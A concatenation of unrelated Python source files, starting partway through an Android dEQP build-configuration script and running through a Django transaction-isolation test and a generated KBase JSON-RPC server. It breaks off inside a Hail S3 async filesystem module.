argsList): class ErrorCode: def __init__ (self): self.error = None; def applyAndCaptureError (func, args, errorCode): try: func(*args) except: errorCode.error = sys.exc_info() errorCode = ErrorCode() jobs = [] for args in argsList: job = threading.Thread(target=applyAndCaptureError, args=(f, args, errorCode)) job.start() jobs.append(job) for job in jobs: job.join() if errorCode.error: raise errorCode.error[0], errorCode.error[1], errorCode.error[2] class Device: def __init__(self, serial, product, model, device): self.serial = serial self.product = product self.model = model self.device = device def __str__ (self): return "%s: {product: %s, model: %s, device: %s}" % (self.serial, self.product, self.model, self.device) def getDevices (adb): proc = subprocess.Popen([adb, 'devices', '-l'], stdout=subprocess.PIPE) (stdout, stderr) = proc.communicate() if proc.returncode != 0: raise Exception("adb devices -l failed, got %d" % proc.returncode) ptrn = re.compile(r'^([a-zA-Z0-9\.:]+)\s+.*product:([^\s]+)\s+model:([^\s]+)\s+device:([^\s]+)') devices = [] for line in stdout.splitlines()[1:]: if len(line.strip()) == 0: continue m = ptrn.match(line) if m == None: print "WARNING: Failed to parse device info '%s'" % line continue devices.append(Device(m.group(1), m.group(2), m.group(3), m.group(4))) return devices def getWin32Generator (): if which("jom.exe") != None: return "NMake Makefiles JOM" else: return "NMake Makefiles" def isNinjaSupported (): return which("ninja") != None def getUnixGenerator (): if isNinjaSupported(): return "Ninja" else: return "Unix Makefiles" def getExtraBuildArgs (generator): if generator == "Unix Makefiles": return ["--", "-j%d" % multiprocessing.cpu_count()] else: return [] NDK_HOST_OS_NAMES = [ "windows", "windows-x86_64", "darwin-x86", "darwin-x86_64", "linux-x86", "linux-x86_64" ] def getNDKHostOsName (ndkPath): for name in NDK_HOST_OS_NAMES: if os.path.exists(os.path.join(ndkPath, "prebuilt", name)): return name raise Exception("Couldn't determine NDK host OS") # deqp/android path ANDROID_DIR = os.path.realpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) # Build configuration NATIVE_LIBS = [ # API ABI prebuiltsDir NativeLib(21, "armeabi-v7a", 'android-arm'), # ARM v7a ABI NativeLib(21, "x86", 'android-x86'), # x86 NativeLib(21, "arm64-v8a", 'android-arm64'), # ARM64 v8a ABI NativeLib(21, "x86_64", 'android-x86_64'), # x86_64 ] ANDROID_JAVA_API = "android-22" NATIVE_LIB_NAME = "libdeqp.so" def selectNDKPath (): candidates = [ os.path.expanduser("~/android-ndk-r11"), "C:/android/android-ndk-r11", os.environ.get("ANDROID_NDK_PATH", None), # If not defined, return None ] ndkPath = selectFirstExistingDir(candidates) if ndkPath == None: raise Exception("None of NDK directory candidates exist: %s. Check ANDROID_NDK_PATH in common.py" % candidates) return ndkPath def noneSafePathJoin (*components): if None in components: return None return os.path.join(*components) # NDK paths ANDROID_NDK_PATH = selectNDKPath() ANDROID_NDK_HOST_OS = getNDKHostOsName(ANDROID_NDK_PATH) ANDROID_NDK_TOOLCHAIN_VERSION = "r11" # Toolchain file is selected based on this # Native code build settings CMAKE_GENERATOR = selectByOS({ 'win32': getWin32Generator(), 'other': getUnixGenerator() }) EXTRA_BUILD_ARGS = getExtraBuildArgs(CMAKE_GENERATOR) # SDK paths ANDROID_SDK_PATH = selectFirstExistingDir([ os.environ.get("ANDROID_SDK_PATH", None), os.path.expanduser("~/android-sdk-linux"), os.path.expanduser("~/android-sdk-mac_x86"), "C:/android/android-sdk-windows", ]) ANDROID_BIN = selectFirstExistingBinary([ noneSafePathJoin(ANDROID_SDK_PATH, "tools", "android"), noneSafePathJoin(ANDROID_SDK_PATH, "tools", "android.bat"), which('android'), ]) ADB_BIN = selectFirstExistingBinary([ which('adb'), # \note Prefer adb in path to avoid version issues on dev machines noneSafePathJoin(ANDROID_SDK_PATH, "platform-tools", "adb"), noneSafePathJoin(ANDROID_SDK_PATH, "platform-tools", "adb.exe"), ]) ZIPALIGN_BIN = selectFirstExistingBinary([ noneSafePathJoin(ANDROID_SDK_PATH, "tools", "zipalign"), noneSafePathJoin(ANDROID_SDK_PATH, "tools", "zipalign.exe"), which('zipalign'), ]) JARSIGNER_BIN = which('jarsigner') # Apache ant ANT_BIN = selectFirstExistingBinary([ which('ant.bat'), which('ant'), "C:/android/apache-ant-1.8.4/bin/ant.bat", "C:/android/apache-ant-1.9.2/bin/ant.bat", "C:/android/apache-ant-1.9.3/bin/ant.bat", "C:/android/apache-ant-1.9.4/bin/ant.bat", ]) def makeNameValueTuple (name): return (name, str(eval(name))) CONFIG_VAR_NAMES = [ "ANDROID_DIR", "NATIVE_LIBS", "ANDROID_JAVA_API", "NATIVE_LIB_NAME", "ANDROID_NDK_PATH", "ANDROID_NDK_HOST_OS", "ANDROID_NDK_TOOLCHAIN_VERSION", "CMAKE_GENERATOR", "EXTRA_BUILD_ARGS", "ANDROID_SDK_PATH", "ANDROID_BIN", "ADB_BIN", "ZIPALIGN_BIN", "JARSIGNER_BIN", "ANT_BIN", ] CONFIG_STRINGS = [makeNameValueTuple(x) for x in CONFIG_VAR_NAMES]
test_read_committed_sees_snapshots.py
############## # Setup Django import django django.setup() ############# # Test proper import threading import time import pytest from django.db import transaction from django.db.models import F, Subquery from app.models import Sock @pytest.mark.django_db def test_read_committed_sees_snapshots(): def create(): Sock.objects.all().delete() Sock.objects.create(id_a=1, id_b=1, colour='black') create_thread = threading.Thread(target=create) create_thread.start() create_thread.join() barrier_1 = threading.Barrier(2) barrier_2 = threading.Barrier(2) barrier_3 = threading.Barrier(2) barrier_4 = threading.Barrier(2) def update_multiple_atomic(): with transaction.atomic(): Sock.objects.all().update(colour='white') barrier_1.wait() barrier_2.wait() with transaction.atomic(): Sock.objects.all().update(colour='black') barrier_3.wait() barrier_4.wait() colour_1 = None colour_2 = None def select_single_atomic(): nonlocal colour_1 nonlocal colour_2 with transaction.atomic(): barrier_1.wait() colour_1 = Sock.objects.get(id_a=1).colour barrier_2.wait() barrier_3.wait() colour_2 = Sock.objects.get(id_a=1).colour barrier_4.wait() update_multiple_atomic_thread = threading.Thread(target=update_multiple_atomic) update_multiple_atomic_thread.start() select_single_atomic_thread = threading.Thread(target=select_single_atomic) select_single_atomic_thread.start() update_multiple_atomic_thread.join() select_single_atomic_thread.join() # Assert that in a single atomic block, we do see changing data from other # transactions, but not not-committed data assert colour_1 == 'black' assert colour_2 == 'white'
kb_ea_utilsServer.py
#!/usr/bin/env python # -*- coding: utf-8 -*- from wsgiref.simple_server import make_server import sys import json import traceback import datetime from multiprocessing import Process from getopt import getopt, GetoptError from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError,\ JSONRPCError, InvalidRequestError from jsonrpcbase import ServerError as JSONServerError from os import environ from ConfigParser import ConfigParser from biokbase import log import requests as _requests import random as _random import os from kb_ea_utils.authclient import KBaseAuth as _KBaseAuth DEPLOY = 'KB_DEPLOYMENT_CONFIG' SERVICE = 'KB_SERVICE_NAME' AUTH = 'auth-service-url' # Note that the error fields do not match the 2.0 JSONRPC spec def get_config_file(): return environ.get(DEPLOY, None) def get_service_name(): return environ.get(SERVICE, None) def get_config(): if not get_config_file(): return None retconfig = {} config = ConfigParser() config.read(get_config_file()) for nameval in config.items(get_service_name() or 'kb_ea_utils'): retconfig[nameval[0]] = nameval[1] return retconfig config = get_config() from kb_ea_utils.kb_ea_utilsImpl import kb_ea_utils # noqa @IgnorePep8 impl_kb_ea_utils = kb_ea_utils(config) class JSONObjectEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, set): return list(obj) if isinstance(obj, frozenset): return list(obj) if hasattr(obj, 'toJSONable'): return obj.toJSONable() return json.JSONEncoder.default(self, obj) class JSONRPCServiceCustom(JSONRPCService): def call(self, ctx, jsondata): """ Calls jsonrpc service's method and returns its return value in a JSON string or None if there is none. Arguments: jsondata -- remote method call in jsonrpc format """ result = self.call_py(ctx, jsondata) if result is not None: return json.dumps(result, cls=JSONObjectEncoder) return None def _call_method(self, ctx, request): """Calls given method with given params and returns it value.""" method = self.method_data[request['method']]['method'] params = request['params'] result = None try: if isinstance(params, list): # Does it have enough arguments? if len(params) < self._man_args(method) - 1: raise InvalidParamsError('not enough arguments') # Does it have too many arguments? if(not self._vargs(method) and len(params) > self._max_args(method) - 1): raise InvalidParamsError('too many arguments') result = method(ctx, *params) elif isinstance(params, dict): # Do not accept keyword arguments if the jsonrpc version is # not >=1.1. if request['jsonrpc'] < 11: raise KeywordError result = method(ctx, **params) else: # No params result = method(ctx) except JSONRPCError: raise except Exception as e: # log.exception('method %s threw an exception' % request['method']) # Exception was raised inside the method. newerr = JSONServerError() newerr.trace = traceback.format_exc() if isinstance(e.message, basestring): newerr.data = e.message else: # Some exceptions embed other exceptions as the message newerr.data = repr(e.message) raise newerr return result def call_py(self, ctx, jsondata): """ Calls jsonrpc service's method and returns its return value in python object format or None if there is none. This method is same as call() except the return value is a python object instead of JSON string. This method is mainly only useful for debugging purposes. """ rdata = jsondata # we already deserialize the json string earlier in the server code, no # need to do it again # try: # rdata = json.loads(jsondata) # except ValueError: # raise ParseError # set some default values for error handling request = self._get_default_vals() if isinstance(rdata, dict) and rdata: # It's a single request. self._fill_request(request, rdata) respond = self._handle_request(ctx, request) # Don't respond to notifications if respond is None: return None return respond elif isinstance(rdata, list) and rdata: # It's a batch. requests = [] responds = [] for rdata_ in rdata: # set some default values for error handling request_ = self._get_default_vals() self._fill_request(request_, rdata_) requests.append(request_) for request_ in requests: respond = self._handle_request(ctx, request_) # Don't respond to notifications if respond is not None: responds.append(respond) if responds: return responds # Nothing to respond. return None else: # empty dict, list or wrong type raise InvalidRequestError def _handle_request(self, ctx, request): """Handles given request and returns its response.""" if self.method_data[request['method']].has_key('types'): # noqa @IgnorePep8 self._validate_params_types(request['method'], request['params']) result = self._call_method(ctx, request) # Do not respond to notifications. if request['id'] is None: return None respond = {} self._fill_ver(request['jsonrpc'], respond) respond['result'] = result respond['id'] = request['id'] return respond class MethodContext(dict): def __init__(self, logger): self['client_ip'] = None self['user_id'] = None self['authenticated'] = None self['token'] = None self['module'] = None self['method'] = None self['call_id'] = None self['rpc_context'] = None self['provenance'] = None self._debug_levels = set([7, 8, 9, 'DEBUG', 'DEBUG2', 'DEBUG3']) self._logger = logger def log_err(self, message): self._log(log.ERR, message) def log_info(self, message): self._log(log.INFO, message) def log_debug(self, message, level=1): if level in self._debug_levels: pass else: level = int(level) if level < 1 or level > 3: raise ValueError("Illegal log level: " + str(level)) level = level + 6 self._log(level, message) def set_log_level(self, level): self._logger.set_log_level(level) def get_log_level(self): return self._logger.get_log_level() def clear_log_level(self): self._logger.clear_user_log_level() def _log(self, level, message): self._logger.log_message(level, message, self['client_ip'], self['user_id'], self['module'], self['method'], self['call_id']) def provenance(self): callbackURL = os.environ.get('SDK_CALLBACK_URL') if callbackURL: # OK, there's a callback server from which we can get provenance arg_hash = {'method': 'CallbackServer.get_provenance', 'params': [], 'version': '1.1', 'id': str(_random.random())[2:] } body = json.dumps(arg_hash) response = _requests.post(callbackURL, data=body, timeout=60) response.encoding = 'utf-8' if response.status_code == 500: if ('content-type' in response.headers and response.headers['content-type'] == 'application/json'): err = response.json() if 'error' in err: raise ServerError(**err['error']) else: raise ServerError('Unknown', 0, response.text) else: raise ServerError('Unknown', 0, response.text) if not response.ok: response.raise_for_status() resp = response.json() if 'result' not in resp: raise ServerError('Unknown', 0, 'An unknown server error occurred') return resp['result'][0] else: return self.get('provenance') class ServerError(Exception): ''' The call returned an error. Fields: name - the name of the error. code - the error code. message - a human readable error message. data - the server side stacktrace. ''' def __init__(self, name, code, message, data=None, error=None): super(Exception, self).__init__(message) self.name = name self.code = code self.message = message if message else '' self.data = data or error or '' # data = JSON RPC 2.0, error = 1.1 def __str__(self): return self.name + ': ' + str(self.code) + '. ' + self.message + \ '\n' + self.data def getIPAddress(environ): xFF = environ.get('HTTP_X_FORWARDED_FOR') realIP = environ.get('HTTP_X_REAL_IP') trustXHeaders = config is None or \ config.get('dont_trust_x_ip_headers') != 'true' if (trustXHeaders): if (xFF): return xFF.split(',')[0].strip() if (realIP): return realIP.strip() return environ.get('REMOTE_ADDR') class Application(object): # Wrap the wsgi handler in a class definition so that we can # do some initialization and avoid regenerating stuff over # and over def logcallback(self): self.serverlog.set_log_file(self.userlog.get_log_file()) def log(self, level, context, message): self.serverlog.log_message(level, message, context['client_ip'], context['user_id'], context['module'], context['method'], context['call_id']) def __init__(self): submod = get_service_name() or 'kb_ea_utils' self.userlog = log.log( submod, ip_address=True, authuser=True, module=True, method=True, call_id=True, changecallback=self.logcallback, config=get_config_file()) self.serverlog = log.log( submod, ip_address=True, authuser=True, module=True, method=True, call_id=True, logfile=self.userlog.get_log_file()) self.serverlog.set_log_level(6) self.rpc_service = JSONRPCServiceCustom() self.method_authentication = dict() self.rpc_service.add(impl_kb_ea_utils.get_fastq_ea_utils_stats, name='kb_ea_utils.get_fastq_ea_utils_stats', types=[dict]) self.method_authentication['kb_ea_utils.get_fastq_ea_utils_stats'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.run_app_fastq_ea_utils_stats, name='kb_ea_utils.run_app_fastq_ea_utils_stats', types=[dict]) self.method_authentication['kb_ea_utils.run_app_fastq_ea_utils_stats'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.get_ea_utils_stats, name='kb_ea_utils.get_ea_utils_stats', types=[dict]) self.method_authentication['kb_ea_utils.get_ea_utils_stats'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.calculate_fastq_stats, name='kb_ea_utils.calculate_fastq_stats', types=[dict]) self.method_authentication['kb_ea_utils.calculate_fastq_stats'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.run_Fastq_Multx, name='kb_ea_utils.run_Fastq_Multx', types=[dict]) self.method_authentication['kb_ea_utils.run_Fastq_Multx'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.run_Fastq_Join, name='kb_ea_utils.run_Fastq_Join', types=[dict]) self.method_authentication['kb_ea_utils.run_Fastq_Join'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.exec_Fastq_Join, name='kb_ea_utils.exec_Fastq_Join', types=[dict]) self.method_authentication['kb_ea_utils.exec_Fastq_Join'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.exec_Fastq_Join_OneLibrary, name='kb_ea_utils.exec_Fastq_Join_OneLibrary', types=[dict]) self.method_authentication['kb_ea_utils.exec_Fastq_Join_OneLibrary'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.exec_Determine_Phred, name='kb_ea_utils.exec_Determine_Phred', types=[dict]) self.method_authentication['kb_ea_utils.exec_Determine_Phred'] = 'required' # noqa self.rpc_service.add(impl_kb_ea_utils.status, name='kb_ea_utils.status', types=[dict]) authurl = config.get(AUTH) if config else None self.auth_client = _KBaseAuth(authurl) def __call__(self, environ, start_response): # Context object, equivalent to the perl impl CallContext ctx = MethodContext(self.userlog) ctx['client_ip'] = getIPAddress(environ) status = '500 Internal Server Error' try: body_size = int(environ.get('CONTENT_LENGTH', 0)) except (ValueError): body_size = 0 if environ['REQUEST_METHOD'] == 'OPTIONS': # we basically do nothing and just return headers status = '200 OK' rpc_result = "" else: request_body = environ['wsgi.input'].read(body_size) try: req = json.loads(request_body) except ValueError as ve: err = {'error': {'code': -32700, 'name': "Parse error", 'message': str(ve), } } rpc_result = self.process_error(err, ctx, {'version': '1.1'}) else: ctx['module'], ctx['method'] = req['method'].split('.') ctx['call_id'] = req['id'] ctx['rpc_context'] = { 'call_stack': [{'time': self.now_in_utc(), 'method': req['method']} ] } prov_action = {'service': ctx['module'], 'method': ctx['method'], 'method_params': req['params'] } ctx['provenance'] = [prov_action] try: token = environ.get('HTTP_AUTHORIZATION') # parse out the method being requested and check if it # has an authentication requirement method_name = req['method'] auth_req = self.method_authentication.get( method_name, 'none') if auth_req != 'none': if token is None and auth_req == 'required': err = JSONServerError() err.data = ( 'Authentication required for ' + 'kb_ea_utils ' + 'but no authentication header was passed') raise err elif token is None and auth_req == 'optional': pass else: try: user = self.auth_client.get_user(token) ctx['user_id'] = user ctx['authenticated'] = 1 ctx['token'] = token except Exception, e: if auth_req == 'required': err = JSONServerError() err.data = \ "Token validation failed: %s" % e raise err if (environ.get('HTTP_X_FORWARDED_FOR')): self.log(log.INFO, ctx, 'X-Forwarded-For: ' + environ.get('HTTP_X_FORWARDED_FOR')) self.log(log.INFO, ctx, 'start method') rpc_result = self.rpc_service.call(ctx, req) self.log(log.INFO, ctx, 'end method') status = '200 OK' except JSONRPCError as jre: err = {'error': {'code': jre.code, 'name': jre.message, 'message': jre.data } } trace = jre.trace if hasattr(jre, 'trace') else None rpc_result = self.process_error(err, ctx, req, trace) except Exception: err = {'error': {'code': 0, 'name': 'Unexpected Server Error', 'message': 'An unexpected server error ' + 'occurred', } } rpc_result = self.process_error(err, ctx, req, traceback.format_exc()) # print 'Request method was %s\n' % environ['REQUEST_METHOD'] # print 'Environment dictionary is:\n%s\n' % pprint.pformat(environ) # print 'Request body was: %s' % request_body # print 'Result from the method call is:\n%s\n' % \ # pprint.pformat(rpc_result) if rpc_result: response_body = rpc_result else: response_body = '' response_headers = [ ('Access-Control-Allow-Origin', '*'), ('Access-Control-Allow-Headers', environ.get( 'HTTP_ACCESS_CONTROL_REQUEST_HEADERS', 'authorization')), ('content-type', 'application/json'), ('content-length', str(len(response_body)))] start_response(status, response_headers) return [response_body] def process_error(self, error, context, request, trace=None): if trace: self.log(log.ERR, context, trace.split('\n')[0:-1]) if 'id' in request: error['id'] = request['id'] if 'version' in request: error['version'] = request['version'] e = error['error'].get('error') if not e: error['error']['error'] = trace elif 'jsonrpc' in request: error['jsonrpc'] = request['jsonrpc'] error['error']['data'] = trace else: error['version'] = '1.0' error['error']['error'] = trace return json.dumps(error) def now_in_utc(self): # noqa Taken from http://stackoverflow.com/questions/3401428/how-to-get-an-isoformat-datetime-string-including-the-default-timezone @IgnorePep8 dtnow = datetime.datetime.now() dtutcnow = datetime.datetime.utcnow() delta = dtnow - dtutcnow hh, mm = divmod((delta.days * 24 * 60 * 60 + delta.seconds + 30) // 60, 60) return "%s%+02d:%02d" % (dtnow.isoformat(), hh, mm) application = Application() # This is the uwsgi application dictionary. On startup uwsgi will look # for this dict and pull its configuration from here. # This simply lists where to "mount" the application in the URL path # # This uwsgi module "magically" appears when running the app within # uwsgi and is not available otherwise, so wrap an exception handler # around it # # To run this server in uwsgi with 4 workers listening on port 9999 use: # uwsgi -M -p 4 --http :9999 --wsgi-file _this_file_ # To run a using the single threaded python BaseHTTP service # listening on port 9999 by default execute this file # try: import uwsgi # Before we do anything with the application, see if the # configs specify patching all std routines to be asynch # *ONLY* use this if you are going to wrap the service in # a wsgi container that has enabled gevent, such as # uwsgi with the --gevent option if config is not None and config.get('gevent_monkeypatch_all', False): print "Monkeypatching std libraries for async" from gevent import monkey monkey.patch_all() uwsgi.applications = {'': application} except ImportError: # Not available outside of wsgi, ignore pass _proc = None def start_server(host='localhost', port=0, newprocess=False): ''' By default, will start the server on localhost on a system assigned port in the main thread. Excecution of the main thread will stay in the server main loop until interrupted. To run the server in a separate process, and thus allow the stop_server method to be called, set newprocess = True. This will also allow returning of the port number.''' global _proc if _proc: raise RuntimeError('server is already running') httpd = make_server(host, port, application) port = httpd.server_address[1] print "Listening on port %s" % port if newprocess: _proc = Process(target=httpd.serve_forever) _proc.daemon = True _proc.start() else: httpd.serve_forever() return port def stop_server(): global _proc _proc.terminate() _proc = None def process_async_cli(input_file_path, output_file_path, token): exit_code = 0 with open(input_file_path) as data_file: req = json.load(data_file) if 'version' not in req: req['version'] = '1.1' if 'id' not in req: req['id'] = str(_random.random())[2:] ctx = MethodContext(application.userlog) if token: user = application.auth_client.get_user(token) ctx['user_id'] = user ctx['authenticated'] = 1 ctx['token'] = token if 'context' in req: ctx['rpc_context'] = req['context'] ctx['CLI'] = 1 ctx['module'], ctx['method'] = req['method'].split('.') prov_action = {'service': ctx['module'], 'method': ctx['method'], 'method_params': req['params']} ctx['provenance'] = [prov_action] resp = None try: resp = application.rpc_service.call_py(ctx, req) except JSONRPCError as jre: trace = jre.trace if hasattr(jre, 'trace') else None resp = {'id': req['id'], 'version': req['version'], 'error': {'code': jre.code, 'name': jre.message, 'message': jre.data, 'error': trace} } except Exception: trace = traceback.format_exc() resp = {'id': req['id'], 'version': req['version'], 'error': {'code': 0, 'name': 'Unexpected Server Error', 'message': 'An unexpected server error occurred', 'error': trace} } if 'error' in resp: exit_code = 500 with open(output_file_path, "w") as f: f.write(json.dumps(resp, cls=JSONObjectEncoder)) return exit_code if __name__ == "__main__": if (len(sys.argv) >= 3 and len(sys.argv) <= 4 and os.path.isfile(sys.argv[1])): token = None if len(sys.argv) == 4: if os.path.isfile(sys.argv[3]): with open(sys.argv[3]) as token_file: token = token_file.read() else: token = sys.argv[3] sys.exit(process_async_cli(sys.argv[1], sys.argv[2], token)) try: opts, args = getopt(sys.argv[1:], "", ["port=", "host="]) except GetoptError as err: # print help information and exit: print str(err) # will print something like "option -a not recognized" sys.exit(2) port = 9999 host = 'localhost' for o, a in opts: if o == '--port': port = int(a) elif o == '--host': host = a print "Host set to %s" % host else: assert False, "unhandled option" start_server(host=host, port=port) # print "Listening on port %s" % port # httpd = make_server( host, port, application) # # httpd.serve_forever()
fs.py
from typing import Any, AsyncIterator, BinaryIO, cast, AsyncContextManager, Dict, List, Optional, Set, Tuple, Type from types import TracebackType import sys from concurrent.futures import ThreadPoolExecutor import os.path import urllib import threading import asyncio import logging import botocore.exceptions import boto3 from hailtop.utils import blocking_to_async from hailtop.aiotools.fs import ( FileStatus, FileListEntry, ReadableStream, WritableStream, AsyncFS, MultiPartCreate) from hailtop.aiotools.fs.stream import ( AsyncQueueWritableStream, async_writable_blocking_readable_stream_pair, async_writable_blocking_collect_pair, blocking_readable_stream_to_async) log = logging.getLogger(__name__) class PageIterator: def __init__(self, fs: 'S3AsyncFS', bucket: str, prefix: str, delimiter: Optional[str] = None): self._fs = fs self._bucket = bucket self._prefix = prefix self._kwargs = {} if delimiter is not None: self._kwargs['Delimiter'] = delimiter self._page = None def __aiter__(self) -> 'PageIterator': return self async def __anext__(self): if self._page is None: self._page = await blocking_to_async(self._fs._thread_pool, self._fs._s3.list_objects_v2, Bucket=self._bucket, Prefix=self._prefix, **self._kwargs) return self._page next_continuation_token = self._page.get('NextContinuationToken') if next_continuation_token is not None: self._page = await blocking_to_async(self._fs._thread_pool, self._fs._s3.list_objects_v2, Bucket=self._bucket, Prefix=self._prefix, ContinuationToken=next_continuation_token, **self._kwargs) return self._page raise StopAsyncIteration class S3HeadObjectFileStatus(FileStatus): def __init__(self, head_object_resp): self.head_object_resp = head_object_resp async def size(self) -> int: return self.head_object_resp['ContentLength'] async def __getitem__(self, key: str) -> Any: return self.head_object_resp[key] class S3ListFilesFileStatus(FileStatus): def __init__(self, item: Dict[str, Any]): self._item = item async def size(self) -> int: return self._item['Size'] async def __getitem__(self, key: str) -> Any: return self._item[key] class S3CreateManager(AsyncContextManager[WritableStream]): def __init__(self, fs: 'S3AsyncFS', bucket: str, name: str): self.fs: S3AsyncFS = fs self.bucket: str = bucket self.name: str = name self.async_writable: Optional[AsyncQueueWritableStream] = None self._put_thread: Optional[threading.Thread] = None self._value: Any = None self._exc: Optional[BaseException] = None async def __aenter__(self) -> WritableStream: async_writable, blocking_readable = async_writable_blocking_readable_stream_pair() self.async_writable = async_writable def put(): try: self._value = self.fs._s3.upload_fileobj(blocking_readable, Bucket=self.bucket, Key=self.name) except BaseException as e: self._exc = e self._put_thread = threading.Thread(target=put) self._put_thread.start() return async_writable async def __aexit__( self, exc_type: Optional[Type[BaseException]] = None, exc_value: Optional[BaseException] = None, exc_traceback: Optional[TracebackType] = None) -> None: assert self.async_writable assert self._put_thread await self.async_writable.wait_closed() try: await blocking_to_async(self.fs._thread_pool, self._put_thread.join) finally: if self._exc: _, exc, _ = sys.exc_info() if exc: log.info('discarding exception', exc_info=True) raise self._exc class S3FileListEntry(FileListEntry): def __init__(self, bucket: str, key: str, item: Optional[Dict[str, Any]]): assert key.endswith('/') == (item is None) self._bucket = bucket self._key = key self._item = item self._status: Optional[S3ListFilesFileStatus] = None def name(self) -> str: return os.path.basename(self._key) async def url(self) -> str: return f's3://{self._bucket}/{self._key}' def url_maybe_trailing_slash(self) -> str: return f's3://{self._bucket}/{self._key}' async def is_file(self) -> bool: return self._item is not None async def is_dir(self) -> bool: return self._item is None async def status(self) -> FileStatus: if self._status is None: if self._item is None: raise IsADirectoryError(f's3://{self._bucket}/{self._key}') self._status = S3ListFilesFileStatus(self._item) return self._status class S3CreatePartManager(AsyncContextManager[WritableStream]): def __init__(self, mpc, number: int, size_hint: int): self._mpc = mpc self._number = number self._size_hint = size_hint self._async_writable: Optional[AsyncQueueWritableStream] = None self._put_thread: Optional[threading.Thread] = None self._exc: Optional[BaseException] = None async def __aenter__(self) -> WritableStream: async_writable, blocking_collect = async_writable_blocking_collect_pair(self._size_hint) self._async_writable = async_writable def put(): try: b = blocking_collect.get() resp = self._mpc._fs._s3.upload_part( Bucket=self._mpc._bucket, Key=self._mpc._name, PartNumber=self._number + 1, UploadId=self._mpc._upload_id, Body=b) self._mpc._etags[self._number] = resp['ETag'] except BaseException as e: self._exc = e self._put_thread = threading.Thread(target=put) self._put_thread.start() return async_writable async def __aexit__( self, exc_type: Optional[Type[BaseException]] = None, exc_value: Optional[BaseException] = None, exc_traceback: Optional[TracebackType] = None) -> None: assert self._async_writable is not None assert self._put_thread is not None await self._async_writable.wait_closed() try: await blocking_to_async(self._mpc._fs._thread_pool, self._put_thread.join) finally: if self._exc: _, exc, _ = sys.exc_info() if exc: log.info('discarding exception', exc_info=True) raise self._exc class S3MultiPartCreate(MultiPartCreate): def __init__(self, sema: asyncio.Semaphore, fs: 'S3AsyncFS', bucket: str, name: str, num_parts: int): assert num_parts <= 10000 self._sema = sema self._fs = fs self._bucket = bucket self._name = name self._num_parts = num_parts self._upload_id = None self._etags: List[Optional[str]] = [None] * num_parts async def __aenter__(self) -> 'S3MultiPartCreate': resp = await blocking_to_async(self._fs._thread_pool, self._fs._s3.create_multipart_upload, Bucket=self._bucket, Key=self._name) self._upload_id = resp['UploadId'] return self async def __aexit__( self, exc_type: Optional[Type[BaseException]] = None, exc_value: Optional[BaseException] = None, exc_traceback: Optional[TracebackType] = None) -> None: if exc_value is not None: await blocking_to_async(self._fs._thread_pool, self._fs._s3.abort_multipart_upload, Bucket=self._bucket, Key=self._name, UploadId=self._upload_id) return parts = [] part_number = 1 for etag in self._etags: assert etag is not None parts.append({ 'ETag': etag, 'PartNumber': part_number }) part_number += 1 await blocking_to_async(self._fs._thread_pool, self._fs._s3.complete_multipart_upload, Bucket=self._bucket, Key=self._name, MultipartUpload={'Parts': parts}, UploadId=self._upload_id) async def create_part(self, number: int, start: int, size_hint: Optional[int] = None) -> S3CreatePartManager: # pylint: disable=unused-argument if size_hint is None: size_hint = 256 * 1024 return S3CreatePartManager(self, number, size_hint) class S3AsyncFS(AsyncFS): schemes: Set[str] = {'s3'} def __init__(self, thread_pool: Optional[ThreadPoolExecutor] = None, max_workers: Optional[int] = None): if not thread_pool: thread_pool = ThreadPoolExecutor(max_workers=max_workers) self._thread_pool = thread_pool self._s3 = boto3.client('s3') @staticmethod def _get_bucket_name(url: str) -> Tuple[str, str]: parsed = urllib.parse.urlparse(url) if parsed.scheme != 's3': raise ValueError(f"invalid scheme, expected s3: {parsed.scheme}") name = parsed.path if name: assert name[0] == '/' name = name[1:] return (parsed.netloc, name) async def open(self, url: str) -> ReadableStream: bucket, name = self._get_bucket_name(url) try: resp = await blocking_to_async(self._thread_pool, self._s3.get_object, Bucket=bucket, Key=name) return blocking_readable_stream_to_async(self._thread_pool, cast(BinaryIO, resp['Body'])) except self._s3.exceptions.NoSuchKey as e: raise FileNotFoundError(url) from e async def open_from(self, url: str, start: int) -> ReadableStream: bucket, name = self._get_bucket_name(url) try: resp = await blocking_to_async(self._thread_pool, self._s3.get_object, Bucket=bucket, Key=name, Range=f'bytes={start}-') return blocking_readable_stream_to_async(self._thread_pool, cast(BinaryIO, resp['Body'])) except self._s3.exceptions.NoSuchKey as e: raise FileNotFoundError(url) from e async def create(self, url: str, *, retry_writes: bool = True) -> S3CreateManager: # pylint: disable=unused-argument # It may be possible to write a more efficient version of this # that takes advantage of retry_writes=False. Here's the # background information: # # There are essentially three options for implementing writes. # The first two handle retries: # # 1. Use some form of multipart uploads (which, in the case # of GCS, we implement by writing temporary objects and # then calling compose). # # 2. Use resumable uploads. This is what the GCS backend # does, although the performance is must worse than # non-resumable uploads so in fact it may always be better # to always use multipart uploads (1). # # The third does not handle failures: # # 3. Don't be failure/retry safe. Just write the object, and # if the API call fails, fail. This is useful when you can # retry at a higher level (this is what the copy code does). # # Unfortunately, I don't see how to do (3) with boto3, since # AWS APIs require a header that includes a hash of the # request body, and that needs to be computed up front. In # terms of the boto3 interface, this contraint translates into # calls like `put_object` require bytes or a seekable stream # (so it can make two passes over the data, one to compute the # checksome, and the other to send the data). # # Here, we use S3CreateManager, which in turn uses boto3 # `upload_fileobj` which is implemented in terms of multipart # uploads. # # Another possibility is to make an alternate `create` call # that takes bytes instead of returning a file-like object, # and then using `put_object`, and make copy use that # interface. This has the disadvantage that the read must # complete before the write can begin (unlike the current # code, that copies 128MB parts in 256KB chunks). bucket, name = self._get_bucket_name(url) return S3CreateManager(self, bucket, name) async def multi_part_create( self, sema: asyncio.Semaphore, url: str, num_parts: int) -> MultiPartCreate: bucket, name = self._get_bucket_name(url) return S3MultiPartCreate(sema, self, bucket, name, num_parts) async def mkdir(self, url: str) -> None: pass async def makedirs(self, url: str, exist_ok: bool = False) -> None: pass async def statfile(self, url: str) -> FileStatus: bucket, name = self._get_bucket_name(url) try: resp = await blocking_to_async(self._thread_pool, 